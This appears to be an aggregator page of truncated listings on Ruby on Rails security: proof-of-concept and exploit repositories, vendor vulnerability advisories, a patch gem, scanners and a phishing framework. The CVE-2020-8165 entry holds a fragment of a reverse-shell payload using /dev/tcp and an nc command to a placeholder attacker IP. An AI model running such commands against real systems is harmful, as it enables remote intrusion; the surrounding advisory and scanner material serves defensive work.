CVE-2019-5418-Rails3

Rails 3 PoC of CVE-2019-5418 A PoC app to verify CVE-2019-5418 on Rails 3. Based on https://github.com/mpgn/CVE-2019-5418...

CVE-2020-8165

CVE-2020-8165 Python Exploit This is code to exploit CVE-2020-8165 using Python3. This exploit works with rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" Major Credits Original CVE details:...

legacy-rails-CVE-2020-5267-patch

legacy-rails-CVE-2020-5267-patch A patch for CVE-2020-5267 for Rails 4 and Rails 3. Upgrading Rails would definitely be better, but in the meantime if you're stuck on older versions of Rails, this provides the monkey patch noted in the security advisory packaged and tested as a gem. Installation...

Astra Linux – Vulnerability in Rails

Action Pack is a framework for handling and responding to web requests. Under certain circumstances, response bodies may not be closed properly. If a response does not notify the close signal, ActionDispatch::Executor will not know to reset the thread local state for the next request. This can le...

Astra Linux – Vulnerability in Rails

The Actionpack Ruby gem versions prior to 6.1.3.2, 6.0.3.7, 5.2.4.6, and 5.2.6 have a possible denial-of-service vulnerability in the Token Authentication logic of the Action Controller, due to overly permissive regular expressions. Affected code uses authenticateorrequestwithhttptoken or...

Astra Linux – Vulnerability in Rails

Active Storage allows users to attach cloud and local files in Rails applications. Before versions 8.1.2.1, 8.0.4.1, and 7.2.3.1, Active Storage’s DiskServicedeleteprefixed passed blob keys directly to Dir.glob, without escaping the glob metacharacters. If a blob key contains attacker-controlled...

Astra Linux – Vulnerability in Ruby-Rack

A denial-of-service vulnerability in the multipart parsing component of Rack was fixed in versions 2.0.9.2, 2.1.4.2, 2.2.4.1, and 3.0.0.1. This vulnerability could allow attackers to craft input that causes the RFC2183 multipart boundary parsing in Rack to take an unexpectedly long time,...

Astra Linux – Vulnerability in Rails

There is a potential escalation to an RCE vulnerability when using YAML serialized columns in Active Record versions 7.0.3.1, 6.1.6.1, 6.0.5.1, and 5.2.8.1. This could allow an attacker, who can manipulate data in the database through methods like SQL injection, to escalate the attack to an RCE...

Astra Linux – Vulnerability in Puma

Puma is a Ruby/Rack web server designed for parallelism. Prior to version 5.6.2 of Puma, Puma might not always call close on the response body. Before version 7.0.2.2, Rails relied on the response body being closed in order for its CurrentAttributes implementation to work correctly. The combinati...

Exploit for Path Traversal in Rubyonrails Rails

doubletap Automated Ruby on Rails remote code execution —...

brakeman

Brakeman Brakeman es una herramienta de análisis estático que verifica las aplicaciones Ruby on Rails en busca de vulnerabilidades de seguridad. Instalación Usando RubyGems: gem install brakeman Usando Bundler: group :development do gem 'brakeman', require: false end Usando Docker: docker pull...

CVE-2025-67202 vulnerabilities

Vulnerabilities for packages: commercial-gitlab-rails-ee, commercial-gitlab-rails-ee-fips...

CVE-2026-44476 vulnerabilities

Vulnerabilities for packages: commercial-gitlab-rails-ee, commercial-gitlab-rails-ee-fips...

GHSA-M6VC-F87M-CC2H vulnerabilities

Vulnerabilities for packages: commercial-gitlab-rails-ee, commercial-gitlab-rails-ee-fips...

GHSA-XV9C-MJW8-79GF vulnerabilities

Vulnerabilities for packages: commercial-gitlab-rails-ee, commercial-gitlab-rails-ee-fips...

dawnscanner

Dawnscanner - El escáner de seguridad emergente para aplicaciones web Ruby dawn es un escáner de código fuente diseñado para revisar sus aplicaciones web en busca de problemas de seguridad. La herramienta puede escanear aplicaciones web escritas en Ruby y soporta todos los principales frameworks...

phishing-frenzy

Phishing Frenzy Framework di phishing Ruby on Rails Documentazione e Info La documentazione aggiornata e rilevante può essere trovata sul sito ufficiale di Phishing Frenzy indicato di seguito Sito web di Phishing Frenzy Si prega di inviare eventuali ticket o problemi alla pagina delle issue di...

GO-2026-6604 vulnerabilities

Vulnerabilities for packages: qemu-guesthelper, commercial-gitlab-rails-ee-fips, commercial-grafana, commercial-chainloop-cli, commercial-nginx-ingress, commercial-spilo-fips, loki, k8s-device-plugin, commercial-gitlab-workhorse-ee-fips, external-dns, opentelemetry-collector-k8s, flux, tempo-fips...

GO-2026-6599 vulnerabilities

Vulnerabilities for packages: kyverno-policy-reporter-kyverno-plugin-fips, metrics-server-fips, crossplane-provider-aws-lightsail-fips, prometheus-alertmanager-fips, kuma, neuvector-scanner-fips, crossplane-provider-aws-route53recoveryreadiness-fips, influxd,...

GHSA-WPFX-QCH4-Q5J2 vulnerabilities

Vulnerabilities for packages: kyverno-policy-reporter-kyverno-plugin-fips, metrics-server-fips, crossplane-provider-aws-lightsail-fips, prometheus-alertmanager-fips, kuma, neuvector-scanner-fips, crossplane-provider-aws-route53recoveryreadiness-fips, influxd,...